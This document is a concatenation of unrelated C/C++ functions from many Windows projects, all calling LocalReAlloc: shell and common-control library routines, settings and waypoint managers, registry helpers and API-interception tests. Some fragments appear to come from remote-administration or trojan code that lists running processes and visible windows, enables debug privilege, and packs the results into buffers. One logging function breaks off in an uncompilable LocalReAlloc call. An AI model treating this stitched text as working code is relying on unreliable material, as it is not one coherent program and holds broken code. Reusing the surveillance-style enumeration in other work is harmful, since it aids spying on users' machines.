/************************************************************************* * @ [SHLWAPI.21] * * Remove an item from a DataBlock list. * * PARAMS * lppList [O] List to remove the item from * ulId [I] Id of item to remove * * RETURNS * Success: TRUE. * Failure: FALSE, If any parameters are invalid, or the item was not found. * * NOTES * See SHWriteDataBlockList. */ BOOL WINAPI SHRemoveDataBlock(LPSHLWAPI_CLIST* lppList, ULONG ulId) { LPSHLWAPI_CLIST lpList = 0; LPSHLWAPI_CLIST lpItem = NULL; LPSHLWAPI_CLIST lpNext; ULONG ulNewSize; TRACE("(%p,%ld)\n", lppList, ulId); if(lppList && (lpList = *lppList)) { /* Search for item in list */ while (lpList->ulSize) { if(lpList->ulId == ulId || (lpList->ulId == CLIST_ID_CONTAINER && lpList[1].ulId == ulId)) { lpItem = lpList; /* Found */ break; } lpList = NextItem(lpList); } } if(!lpItem) return FALSE; lpList = lpNext = NextItem(lpItem); /* Locate the end of the list */ while (lpList->ulSize) lpList = NextItem(lpList); /* Resize the list */ ulNewSize = LocalSize((HLOCAL)*lppList) - lpItem->ulSize; /* Copy following elements over lpItem */ memmove(lpItem, lpNext, (char *)lpList - (char *)lpNext + sizeof(ULONG)); if(ulNewSize <= sizeof(ULONG)) { LocalFree((HLOCAL)*lppList); *lppList = NULL; /* Removed the last element */ } else { lpList = (LPSHLWAPI_CLIST)LocalReAlloc((HLOCAL)*lppList, ulNewSize, LMEM_ZEROINIT|LMEM_MOVEABLE); if(lpList) *lppList = lpList; } return TRUE; }
//---------------------------------------------------------------------------------------------- // SaveAs //---------------------------------------------------------------------------------------------- VOID CSetting::SaveAs( WCHAR * SaveName ) { // 現在のコントローラーの設定の順番を更新する CurrentSettingIndex = SettingCount; // コントローラーの設定数を更新する SettingCount ++; // コントローラーの設定を追加する Setting = (SETTING *)LocalReAlloc( Setting ,SettingCount * sizeof( SETTING ) ,LMEM_MOVEABLE ); CopyMemory( &Setting[CurrentSettingIndex], &CurrentSetting, sizeof( SETTING ) ); // コントローラーの設定の名称を追加する SettingName = (WCHAR * *)LocalReAlloc( SettingName ,SettingCount * sizeof( WCHAR * ) ,LMEM_MOVEABLE ); SettingName[CurrentSettingIndex] = (WCHAR *)LocalAlloc( LPTR ,sizeof( WCHAR ) * MAX_PATH ); wcscpy_s( SettingName[CurrentSettingIndex], MAX_PATH, SaveName ); // 変更済みフラグを更新する ModifiedFlag = FALSE; }
//---------------------------------------------------------------------------------------------- // Delete //---------------------------------------------------------------------------------------------- VOID CSetting::Delete() { // コントローラーの設定数を更新する SettingCount --; if( CurrentSettingIndex < SettingCount ) { // コントローラーの設定、設定の名称を1つずつスライドする MoveMemory( &Setting[CurrentSettingIndex] ,&Setting[CurrentSettingIndex + 1] ,sizeof( SETTING ) * ( SettingCount - CurrentSettingIndex ) ); LocalFree( SettingName[CurrentSettingIndex] ); MoveMemory( &SettingName[CurrentSettingIndex] ,&SettingName[CurrentSettingIndex + 1] ,sizeof( WCHAR * ) * ( SettingCount - CurrentSettingIndex ) ); } else { // 現在のコントローラーの設定の順番を更新する CurrentSettingIndex --; } // 現在のコントローラーの設定を更新する CopyMemory( &CurrentSetting, &Setting[CurrentSettingIndex], sizeof( SETTING ) ); // 不要なメモリを開放する Setting = (SETTING *)LocalReAlloc( Setting ,SettingCount * sizeof( SETTING ) ,LMEM_MOVEABLE ); SettingName = (WCHAR * *)LocalReAlloc( SettingName ,SettingCount * sizeof( WCHAR * ) ,LMEM_MOVEABLE ); // 変更済みフラグを更新する ModifiedFlag = FALSE; }
LPBYTE CSystemManager::getProcessList() { HANDLE hSnapshot = NULL; HANDLE hProcess = NULL; HMODULE hModules = NULL; PROCESSENTRY32 pe32 = {0}; DWORD cbNeeded; char strProcessName[MAX_PATH] = {0}; LPBYTE lpBuffer = NULL; DWORD dwOffset = 0; DWORD dwLength = 0; DebugPrivilege(SE_DEBUG_NAME, TRUE); hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hSnapshot == INVALID_HANDLE_VALUE) return NULL; pe32.dwSize = sizeof(PROCESSENTRY32); lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); lpBuffer[0] = TOKEN_PSLIST; dwOffset = 1; if(Process32First(hSnapshot, &pe32)) { do { hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID); if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4)) { EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded); GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName)); // 此进程占用数据大小 dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2; // 缓冲区太小,再重新分配下 if (LocalSize(lpBuffer) < (dwOffset + dwLength)) lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE); memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD)); dwOffset += sizeof(DWORD); memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1); dwOffset += lstrlen(pe32.szExeFile) + 1; memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1); dwOffset += lstrlen(strProcessName) + 1; } } while(Process32Next(hSnapshot, &pe32)); } lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE); DebugPrivilege(SE_DEBUG_NAME, FALSE); CloseHandle(hSnapshot); return lpBuffer; }
WAYPOINT* GrowWaypointList() { // memory allocation if (!AllocateWaypointList()) { return 0; } if (((NumberOfWayPoints+1) % 50) == 0) { WAYPOINT *p; if ((p = (WAYPOINT *)LocalReAlloc(WayPointList, (((NumberOfWayPoints+1)/50)+1) * 50 * sizeof(WAYPOINT), LMEM_MOVEABLE | LMEM_ZEROINIT)) == NULL){ StartupStore(_T("+++ GrowWaypointList FAILED!%s"),NEWLINE); MessageBoxX(hWndMainWindow, // LKTOKEN _@M486_ = "Not Enough Memory For Waypoints" gettext(TEXT("_@M486_")), // LKTOKEN _@M266_ = "Error" gettext(TEXT("_@M266_")),MB_OK|MB_ICONSTOP); return 0; // failed to allocate } if (p != WayPointList){ WayPointList = p; } WPCALC *q; if ((q = (WPCALC *)LocalReAlloc(WayPointCalc, (((NumberOfWayPoints+1)/50)+1) * 50 * sizeof(WPCALC), LMEM_MOVEABLE | LMEM_ZEROINIT)) == NULL){ StartupStore(_T("+++ GrowWaypointCalc FAILED!%s"),NEWLINE); MessageBoxX(hWndMainWindow, // LKTOKEN _@M486_ = "Not Enough Memory For Waypoints" gettext(TEXT("_@M486_")), // LKTOKEN _@M266_ = "Error" gettext(TEXT("_@M266_")),MB_OK|MB_ICONSTOP); return 0; // failed to allocate } if (q != WayPointCalc){ WayPointCalc = q; } } NumberOfWayPoints++; return WayPointList + NumberOfWayPoints-1; // returns the newly created waypoint }
/************************************************************************** * ReAlloc [COMCTL32.72] * * Changes the size of an allocated memory block or allocates a memory * block using the dll's private heap. * * PARAMS * lpSrc [I] pointer to memory block which will be resized * dwSize [I] new size of the memory block. * * RETURNS * Success: pointer to the resized memory block * Failure: NULL * * NOTES * If lpSrc is a NULL-pointer, then ReAlloc allocates a memory * block like Alloc. */ LPVOID WINAPI ReAlloc (LPVOID lpSrc, DWORD dwSize) { if (lpSrc) return LocalReAlloc( lpSrc, dwSize, LMEM_ZEROINIT | LMEM_MOVEABLE ); else return LocalAlloc( LMEM_ZEROINIT, dwSize); }
HLOCAL WINAPI DebugLocalReAlloc(HLOCAL hMem, UINT uBytes, UINT uFlags) { _ValidateLocalMem(hMem, (LPARAM)hMem, "LocalReAlloc"); hMem = LocalReAlloc(hMem, uBytes+CBALLOCEXTRA, uFlags); _StoreSigniture(hMem, uBytes, (LPARAM)hMem); return hMem; }
BOOL CTextEditor::AddCompositionRenderInfo(int nStart, int nEnd, TF_DISPLAYATTRIBUTE *pda) { if (_pCompositionRenderInfo) { void *pvNew = LocalReAlloc(_pCompositionRenderInfo, (_nCompositionRenderInfo + 1) * sizeof(COMPOSITIONRENDERINFO), LMEM_MOVEABLE | LMEM_ZEROINIT); if (!pvNew) return FALSE; _pCompositionRenderInfo = (COMPOSITIONRENDERINFO *)pvNew; } else { _pCompositionRenderInfo = (COMPOSITIONRENDERINFO *)LocalAlloc(LPTR, (_nCompositionRenderInfo + 1) * sizeof(COMPOSITIONRENDERINFO)); if (!_pCompositionRenderInfo) return FALSE; } _pCompositionRenderInfo[_nCompositionRenderInfo].nStart = nStart; _pCompositionRenderInfo[_nCompositionRenderInfo].nEnd = nEnd; _pCompositionRenderInfo[_nCompositionRenderInfo].da = *pda; _nCompositionRenderInfo++; return TRUE; }
unsigned long NEAR PASCAL MyQueryValue(HKEY hKey, PSTR pSubKey, HANDLE *hBuf) { HANDLE hTemp; PSTR pBuf; WORD wBufSize = BLOCKLEN; unsigned long result = ERROR_OUTOFMEMORY; LONG lSize; if(!(*hBuf=LocalAlloc(LMEM_MOVEABLE, wBufSize))) goto Error1; if(!(pBuf=LocalLock(*hBuf))) goto Error2; while((lSize=wBufSize, (result=RegQueryValue(hKey, pSubKey, pBuf, &lSize)) ==ERROR_SUCCESS) && (WORD)lSize>wBufSize-10) { LocalUnlock(*hBuf); wBufSize += BLOCKLEN; if(!(hTemp=LocalReAlloc(*hBuf, wBufSize, LMEM_MOVEABLE))) { result = ERROR_OUTOFMEMORY; goto Error2; } pBuf = LocalLock(*hBuf=hTemp); } LocalUnlock(*hBuf); if(result!=ERROR_SUCCESS || !lSize) goto Error2; goto Error1; Error2: LocalFree(*hBuf); *hBuf = NULL; Error1: return(result); }
unsigned long NEAR PASCAL MyEnumKey(HKEY hKey, WORD wIndex, HANDLE *hBuf) { HANDLE hTemp; PSTR pBuf; WORD wBufSize = BLOCKLEN, wSize; unsigned long result = ERROR_OUTOFMEMORY; if(!(*hBuf=LocalAlloc(LMEM_MOVEABLE, wBufSize))) goto Error1; if(!(pBuf=LocalLock(*hBuf))) goto Error2; while((result=RegEnumKey(hKey, wIndex, pBuf, (DWORD)wBufSize)) ==ERROR_SUCCESS && (wSize=lstrlen(pBuf))>wBufSize-10) { LocalUnlock(*hBuf); wBufSize += BLOCKLEN; if(!(hTemp=LocalReAlloc(*hBuf, wBufSize, LMEM_MOVEABLE))) { result = ERROR_OUTOFMEMORY; goto Error2; } pBuf = LocalLock(*hBuf=hTemp); } LocalUnlock(*hBuf); if(result!=ERROR_SUCCESS || !wSize) goto Error2; goto Error1; Error2: LocalFree(*hBuf); *hBuf = NULL; Error1: return(result); }
VOID _cdecl LogPrintf (char *format, ...) { va_list va; char msg[512]; int MsgLen; va_start (va, format); MsgLen = _vsnprintf (msg, sizeof(msg), format, va); for (char* sp = msg; *sp != 0; sp++) { if (sp[0] == '\n' && sp[-1] != '\r') { memmove (&sp[1], sp, strlen(sp)+1); sp[0] = '\r'; } } MsgLen = strlen(msg); if (gszLog == NULL) { LogSize = 20; gszLog = (char*)LocalAlloc (LHND, LogSize); } if (LogLen + MsgLen + 1 > LogSize) { LogSize += 20; gszLog = (char*)LocalReAlloc () }
BOOL BusyMask::AddNum(int num) { ULONG maskNum = num/(sizeof(*pBusyMask)*8); if (maskNum >= busyMaskLen) { SIZE_T newBusyMaskLen = maskNum + 1; PBYTE pNewBusyMask; if (!pBusyMask) pNewBusyMask = (PBYTE)LocalAlloc(LPTR, newBusyMaskLen); else pNewBusyMask = (PBYTE)LocalReAlloc(pBusyMask, newBusyMaskLen, LMEM_ZEROINIT|LMEM_MOVEABLE); if (pNewBusyMask) { pBusyMask = pNewBusyMask; busyMaskLen = newBusyMaskLen; } else { SetLastError(ERROR_NOT_ENOUGH_MEMORY); return FALSE; } } ULONG mask = 1 << (num%(sizeof(*pBusyMask)*8)); pBusyMask[maskNum] |= mask; return TRUE; }
bool CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam) { DWORD dwLength = 0; DWORD dwOffset = 0; DWORD dwProcessID = 0; LPBYTE lpBuffer = *(LPBYTE *)lParam; char strTitle[1024]; memset(strTitle, 0, sizeof(strTitle)); GetWindowText(hwnd, strTitle, sizeof(strTitle)); if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0) return true; if (lpBuffer == NULL) lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1); dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1; dwOffset = LocalSize(lpBuffer); lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE); GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset)); memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1); *(LPBYTE *)lParam = lpBuffer; return true; }
LPBYTE TinyMemoryStream::ReAlloc(ULONG cbNew) { if (this->m_pData == NULL) { this->m_pData = (LPBYTE)LocalAlloc(LPTR, cbNew); } else { LPBYTE ps = (LPBYTE)LocalReAlloc(this->m_pData, cbNew, LMEM_MOVEABLE | LMEM_ZEROINIT); if (ps) { this->m_pData = ps; } else { TRACE("Stream Realloc Failed!"); return NULL; } } if (this->m_pData) { this->m_cbAlloc = cbNew; } return this->m_pData; }
void kprintf(PCWCHAR format, ...) { #ifdef _WINDLL int varBuf; size_t tempSize; #endif va_list args; va_start(args, format); #ifndef _WINDLL vwprintf(format, args); fflush(stdout); #else if(outputBuffer) { varBuf = _vscwprintf(format, args); if(varBuf > 0) { if((size_t) varBuf > (outputBufferElements - outputBufferElementsPosition - 1)) // NULL character { tempSize = (outputBufferElements + varBuf + 1) * 2; // * 2, just to be cool if(outputBuffer = (wchar_t *) LocalReAlloc(outputBuffer, tempSize * sizeof(wchar_t), LMEM_MOVEABLE)) outputBufferElements = tempSize; } varBuf = vswprintf_s(outputBuffer + outputBufferElementsPosition, outputBufferElements - outputBufferElementsPosition, format, args); if(varBuf > 0) outputBufferElementsPosition += varBuf; } } #endif if(logfile) vfwprintf(logfile, format, args); va_end(args); fflush(logfile); }
static BOOL IsNewWindow(HWND hWnd) { BOOL isNewWindow=FALSE; EnterCriticalSection(&g_cs); if(!FindWindowIndex(hWnd,NULL)) { if(g_numHWNDs==g_maxNumHWNDs) { if(g_maxNumHWNDs==0) { g_maxNumHWNDs=16; g_pHWNDs=LocalAlloc(0,g_maxNumHWNDs*sizeof *g_pHWNDs); } else { g_maxNumHWNDs+=g_maxNumHWNDs/2; g_pHWNDs=LocalReAlloc(g_pHWNDs,g_maxNumHWNDs*sizeof *g_pHWNDs,0); } } g_pHWNDs[g_numHWNDs++]=hWnd; } LeaveCriticalSection(&g_cs); return isNewWindow; }
void near *lmem_realloc( /**********************/ void *mem, unsigned size ) { #ifdef PLAT_OS2 return( realloc( mem, (size_t) size ) ); #else HANDLE hld; void near *ptr; if( mem != NULL ) { hld = _wpi_getlocalhdl( mem ); if( hld ) { LocalUnlock( hld ); hld = LocalReAlloc( hld, size, LMEM_MOVEABLE ); if( hld ) { ptr = LocalLock( hld ); return( ptr ); } } } else { return( lmem_alloc( size ) ); } return( NULL ); #endif }
BOOL My_LocalReAlloc() { HLOCAL hMem=NULL; SIZE_T uBytes=NULL; UINT uFlags=NULL; HLOCAL returnVal_Real = NULL; HLOCAL returnVal_Intercepted = NULL; DWORD error_Real = 0; DWORD error_Intercepted = 0; disableInterception(); returnVal_Real = LocalReAlloc (hMem,uBytes,uFlags); error_Real = GetLastError(); enableInterception(); returnVal_Intercepted = LocalReAlloc (hMem,uBytes,uFlags); error_Intercepted = GetLastError(); return ((returnVal_Real == returnVal_Intercepted) && (error_Real == error_Intercepted)); }
void * LocalReAllocPtr(void * ptr, UINT flags, UINT size) { HLOCAL hlocal; hlocal = LocalHandle(ptr); LocalUnlock(hlocal); hlocal = LocalReAlloc(hlocal, size+1, flags); return (char *)LocalLock(hlocal); }
LPVOID ReallocSplMem( LPVOID lpOldMem, DWORD cbNew) { if (lpOldMem) return LocalReAlloc(lpOldMem, cbNew, LMEM_MOVEABLE); else return AllocSplMem(cbNew); }
/************************************************************************* * @ [SHLWAPI.21] * * Remove an item from a DataBlock list. * * PARAMS * lppList [O] List to remove the item from * dwSignature [I] Id of item to remove * * RETURNS * Success: TRUE. * Failure: FALSE, If any parameters are invalid, or the item was not found. * * NOTES * See SHWriteDataBlockList. */ BOOL WINAPI SHRemoveDataBlock(LPDBLIST* lppList, DWORD dwSignature) { LPDATABLOCK_HEADER lpList = 0; LPDATABLOCK_HEADER lpItem = NULL; LPDATABLOCK_HEADER lpNext; ULONG ulNewSize; TRACE("(%p,%d)\n", lppList, dwSignature); if(lppList && (lpList = *lppList)) { /* Search for item in list */ while (lpList->cbSize) { if(lpList->dwSignature == dwSignature || (lpList->dwSignature == CLIST_ID_CONTAINER && lpList[1].dwSignature == dwSignature)) { lpItem = lpList; /* Found */ break; } lpList = NextItem(lpList); } } if(!lpItem) return FALSE; lpList = lpNext = NextItem(lpItem); /* Locate the end of the list */ while (lpList->cbSize) lpList = NextItem(lpList); /* Resize the list */ ulNewSize = LocalSize(*lppList) - lpItem->cbSize; /* Copy following elements over lpItem */ memmove(lpItem, lpNext, (char *)lpList - (char *)lpNext + sizeof(ULONG)); if(ulNewSize <= sizeof(ULONG)) { LocalFree(*lppList); *lppList = NULL; /* Removed the last element */ } else { lpList = LocalReAlloc(*lppList, ulNewSize, LMEM_ZEROINIT|LMEM_MOVEABLE); if(lpList) *lppList = lpList; } return TRUE; }
HLOCAL WINAPI SHLocalReAlloc(HLOCAL hOld, UINT cbNew, UINT uFlags) { HLOCAL hNew; int cbAllocOld, cbAllocNew; cbAllocOld = LocalSize(hOld); hNew = LocalReAlloc(hOld, cbNew, uFlags); cbAllocNew = LocalSize(hNew); g_cbAlloced += (cbAllocNew-cbAllocOld); g_dwReallocs++; DebugMsg(g_fAllocMsgs, TEXT("SHLocalRealloc: %#08x %#08x \t%d"), hNew, hOld, cbAllocNew); return hNew; }
/* resize the old table */ static int SetSpyedBlockTableLength ( DWORD NewLength ) { LPVOID *NewSpyedBlocks; if (!Malloc32.SpyedBlocks) NewSpyedBlocks = LocalAlloc(LMEM_ZEROINIT, NewLength * sizeof(PVOID)); else NewSpyedBlocks = LocalReAlloc(Malloc32.SpyedBlocks, NewLength * sizeof(PVOID), LMEM_ZEROINIT); if (NewSpyedBlocks) { Malloc32.SpyedBlocks = NewSpyedBlocks; Malloc32.SpyedBlockTableLength = NewLength; } return NewSpyedBlocks != NULL; }
VOID *MyRealloc( VOID *npMem, INT cbNewAlloc) { npMem = (VOID *)LocalReAlloc((HANDLE)npMem, cbNewAlloc, LMEM_MOVEABLE); if (!npMem) { MessageBeep(0); Message(MSG_OUTOFMEMORY); return NULL; } return npMem; }
/**************************************************************************** * * * FUNCTION : GetFormatName() * * * * PURPOSE : allocates and returns a pointer to a string representing * * a format. Use MyFree() to free this string. * * * * RETURNS : The number of characters copied into lpstr or 0 on error. * * * ****************************************************************************/ PSTR GetFormatName( WORD wFmt) { PSTR psz; WORD cb; if (wFmt == 1) { psz = MyAlloc(8); strcpy(psz, "CF_TEXT"); return psz; } psz = MyAlloc(255); *psz = '\0'; cb = GetClipboardFormatName(wFmt, psz, 255) + 1; return((PSTR)LocalReAlloc((HANDLE)psz, cb, LMEM_MOVEABLE)); }
static BOOL GRPFILE_ReadFileToBuffer(LPCSTR path, HLOCAL *phBuffer, INT *piSize) { UINT len, size; LPSTR buffer; HLOCAL hBuffer, hNewBuffer; HFILE file; file=_lopen(path, OF_READ); if (file == HFILE_ERROR) return FALSE; size = 0; hBuffer = LocalAlloc(LMEM_FIXED, MALLOCHUNK + 1); if (!hBuffer) return FALSE; buffer = LocalLock(hBuffer); while ((len = _lread(file, buffer + size, MALLOCHUNK)) == MALLOCHUNK) { size += len; hNewBuffer = LocalReAlloc(hBuffer, size + MALLOCHUNK + 1, LMEM_FIXED); if (!hNewBuffer) { LocalFree(hBuffer); return FALSE; } hBuffer = hNewBuffer; buffer = LocalLock(hBuffer); } _lclose(file); if (len == (UINT)HFILE_ERROR) { LocalFree(hBuffer); return FALSE; } size += len; buffer[size] = 0; *phBuffer = hBuffer; *piSize = size; return TRUE; }
bool My_LocalReAlloc(HLOCAL ret, DWORD error) { HLOCAL dwRet = 0; //// dwRet = LocalReAlloc(GENERIC_HANDLE, INT_VAL, INT_VAL); if (dwRet != ret) goto FAILED; if (!checkErrorCode(error)) goto FAILED; uninterceptedPrint("LocalReAlloc PASSED!\n"); return TRUE; FAILED: uninterceptedPrint("LocalReAlloc FAILED!\n"); return FALSE; }
BYTE* CCaptureVideo::EnumCompress() { CVideoCodec cVideo; int fccHandler; char strName[MAX_PATH]; LPBYTE lpBuffer=NULL; lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1); int iCount=0;//共有多上个压缩设备 while(cVideo.MyEnumCodecs(&fccHandler, strName)) { iCount++; DWORD dwOffset = LocalSize(lpBuffer); int iMsgSize=strlen(strName)+sizeof(DWORD)+1; //一个表达压缩设备所用的大小 //开辟新的内存储存数据 lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset +iMsgSize, LMEM_ZEROINIT|LMEM_MOVEABLE); memcpy(lpBuffer+dwOffset,&fccHandler,sizeof(DWORD)); //压缩的编码 strcpy((char*)(lpBuffer+dwOffset+sizeof(DWORD)),strName); } lpBuffer[0]=iCount; return lpBuffer; }
// UpDownWndProc: // LRESULT CALLBACK UpDownWndProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { RECT rc; int i; PUDSTATE np = (PUDSTATE)GetWindowInt(hwnd, 0); if (np) { if ((uMsg >= WM_MOUSEFIRST) && (uMsg <= WM_MOUSELAST) && (np->ci.style & UDS_HOTTRACK) && !np->fTrackSet) { TRACKMOUSEEVENT tme; np->fTrackSet = TRUE; tme.cbSize = sizeof(tme); tme.hwndTrack = np->ci.hwnd; tme.dwFlags = TME_LEAVE; TrackMouseEvent(&tme); } } switch (uMsg) { case WM_MOUSEMOVE: UD_OnMouseMove(np, lParam); break; case WM_MOUSELEAVE: np->fTrackSet = FALSE; UD_Invalidate(np, np->uHot, FALSE); np->uHot = UD_HITNOWHERE; break; case WM_LBUTTONDOWN: { // Don't set a timer if on the middle border BOOL bTimeIt = TRUE; if (np->hwndBuddy && !IsWindowEnabled(np->hwndBuddy)) break; SetCapture(hwnd); getint(np); switch (np->uClass) { case CLASS_EDIT: case CLASS_LISTBOX: SetFocus(np->hwndBuddy); break; } switch(UD_HitTest(np, GET_X_LPARAM(lParam), GET_Y_LPARAM(lParam))) { case UD_HITDOWN: np->bDown = TRUE; squish(np, FALSE, TRUE); break; case UD_HITUP: np->bDown = FALSE; squish(np, TRUE, FALSE); break; case UD_HITNOWHERE: bTimeIt = FALSE; break; } if (bTimeIt) { SetTimer(hwnd, 1, GetProfileInt(TEXT("windows"), TEXT("CursorBlinkRate"), 530), NULL); bump(np); } break; } case WM_TIMER: { POINT pt; if (GetCapture() != hwnd) { goto EndScroll; } SetTimer(hwnd, 1, 100, NULL); GetWindowRect(hwnd, &rc); if (np->ci.style & UDS_HORZ) { i = (rc.left + rc.right) / 2; if (np->bDown) { rc.right = i; } else { rc.left = i; } } else { i = (rc.top + rc.bottom) / 2; if (np->bDown) { rc.top = i; } else { rc.bottom = i; } } InflateRect(&rc, (g_cxFrame+1)/2, (g_cyFrame+1)/2); GetCursorPos(&pt); if (PtInRect(&rc, pt)) { squish(np, !np->bDown, np->bDown); bump(np); } else { squish(np, FALSE, FALSE); } break; } case WM_LBUTTONUP: if (np->hwndBuddy && !IsWindowEnabled(np->hwndBuddy)) break; if (GetCapture() == hwnd) { EndScroll: squish(np, FALSE, FALSE); ReleaseCapture(); KillTimer(hwnd, 1); if (np->uClass == CLASS_EDIT) Edit_SetSel(np->hwndBuddy, 0, -1); if (np->ci.style & UDS_HORZ) FORWARD_WM_HSCROLL(np->ci.hwndParent, np->ci.hwnd, SB_ENDSCROLL, np->nPos, SendMessage); else FORWARD_WM_VSCROLL(np->ci.hwndParent, np->ci.hwnd, SB_ENDSCROLL, np->nPos, SendMessage); } break; case WM_ENABLE: InvalidateRect(hwnd, NULL, TRUE); break; case WM_WININICHANGE: if (np && (!wParam || (wParam == SPI_SETNONCLIENTMETRICS) || (wParam == SPI_SETICONTITLELOGFONT))) { InitGlobalMetrics(wParam); unachor(np); anchor(np); } break; case WM_PRINTCLIENT: case WM_PAINT: PaintUpDownControl(np, (HDC)wParam); break; case UDM_SETRANGE: np->nUpper = GET_X_LPARAM(lParam); np->nLower = GET_Y_LPARAM(lParam); nudge(np); break; case UDM_GETRANGE: return MAKELONG(np->nUpper, np->nLower); case UDM_SETBASE: // wParam: new base // lParam: not used // return: 0 if invalid base is specified, // previous base otherwise return (LRESULT)setbase(np, (UINT)wParam); case UDM_GETBASE: return np->nBase; case UDM_SETPOS: { int iNewPos = GET_X_LPARAM(lParam); if (compare(np, np->nLower, np->nUpper, DONTCARE) < 0) { if (compare(np, iNewPos, np->nUpper, DONTCARE) > 0) { iNewPos = np->nUpper; } if (compare(np, iNewPos, np->nLower, DONTCARE) < 0) { iNewPos = np->nLower; } } else { if (compare(np, iNewPos, np->nUpper, DONTCARE) < 0) { iNewPos = np->nUpper; } if (compare(np, iNewPos, np->nLower, DONTCARE) > 0) { iNewPos = np->nLower; } } i = np->nPos; np->nPos = iNewPos; setint(np); #ifdef ACTIVE_ACCESSIBILITY MyNotifyWinEvent(EVENT_OBJECT_VALUECHANGE, np->ci.hwnd, OBJID_CLIENT, 0); #endif return (LRESULT)i; } case UDM_GETPOS: return getint(np); case UDM_SETBUDDY: return setbuddy(np, (HWND)wParam); case UDM_GETBUDDY: return (LRESULT)(int)np->hwndBuddy; case UDM_SETACCEL: if (wParam == 0) return(FALSE); if (wParam >= NUM_UDACCELS) { HANDLE npPrev = (HANDLE)np; np = (PUDSTATE)LocalReAlloc((HLOCAL)np, sizeof(UDSTATE)+(wParam-NUM_UDACCELS)*sizeof(UDACCEL), LMEM_MOVEABLE); if (!np) { return(FALSE); } else { SetWindowInt(hwnd, 0, (int)np); if ((np->ci.style & UDS_ARROWKEYS) && np->hwndBuddy) { SetWindowSubclass(np->hwndBuddy, ArrowKeyProc, 0, (DWORD)np); } } } np->nAccel = wParam; for (i=0; i<(int)wParam; ++i) { np->udAccel[i] = ((LPUDACCEL)lParam)[i]; } return(TRUE); case UDM_GETACCEL: if (wParam > np->nAccel) { wParam = np->nAccel; } for (i=0; i<(int)wParam; ++i) { ((LPUDACCEL)lParam)[i] = np->udAccel[i]; } return(np->nAccel); case WM_NOTIFYFORMAT: return CIHandleNotifyFormat(&np->ci, lParam); case WM_CREATE: // Allocate the instance data space. np = (PUDSTATE)LocalAlloc(LPTR, sizeof(UDSTATE)); if (!np) return -1; SetWindowInt(hwnd, 0, (int)np); #define lpCreate ((CREATESTRUCT FAR *)lParam) CIInitialize(&np->ci, hwnd, lpCreate); // np->fUp = // np->fDown = // np->fUnsigned = // np->fSharedBorder = // np->fSunkenBorder = // FALSE; if (lpCreate->dwExStyle & WS_EX_CLIENTEDGE) np->fSunkenBorder = TRUE; np->nBase = BASE_DECIMAL; np->nUpper = 0; np->nLower = 100; np->nPos = 0; np->hwndBuddy = NULL; np->uClass = CLASS_UNKNOWN; np->nAccel = NUM_UDACCELS; np->udAccel[0].nSec = 0; np->udAccel[0].nInc = 1; np->udAccel[1].nSec = 2; np->udAccel[1].nInc = 5; np->udAccel[2].nSec = 5; np->udAccel[2].nInc = 20; /* This does the pickbuddy and anchor */ setbuddy(np, NULL); setint(np); break; case WM_DESTROY: if (np) { if (np->hwndBuddy) { // Make sure that our buddy is unsubclassed. DebugMsg(DM_ERROR, TEXT("UpDown Destroyed while buddy subclassed")); np->fUpDownDestroyed = TRUE; } else LocalFree((HLOCAL)np); SetWindowInt(hwnd, 0, 0); } break; default: return DefWindowProc(hwnd, uMsg, wParam, lParam); } return 0L; }
BOOL GetUserSidFromToken(HANDLE hToken, PSID *Sid) { PTOKEN_USER UserBuffer, nsb; PSID pSid = NULL; ULONG Length; NTSTATUS Status; Length = 256; UserBuffer = LocalAlloc(LPTR, Length); if (UserBuffer == NULL) { return FALSE; } Status = NtQueryInformationToken(hToken, TokenUser, (PVOID)UserBuffer, Length, &Length); if (Status == STATUS_BUFFER_TOO_SMALL) { nsb = LocalReAlloc(UserBuffer, Length, LMEM_MOVEABLE); if (nsb == NULL) { LocalFree(UserBuffer); return FALSE; } UserBuffer = nsb; Status = NtQueryInformationToken(hToken, TokenUser, (PVOID)UserBuffer, Length, &Length); } if (!NT_SUCCESS (Status)) { LocalFree(UserBuffer); return FALSE; } Length = RtlLengthSid(UserBuffer->User.Sid); pSid = LocalAlloc(LPTR, Length); if (pSid == NULL) { LocalFree(UserBuffer); return FALSE; } Status = RtlCopySid(Length, pSid, UserBuffer->User.Sid); LocalFree(UserBuffer); if (!NT_SUCCESS (Status)) { LocalFree(pSid); return FALSE; } *Sid = pSid; return TRUE; }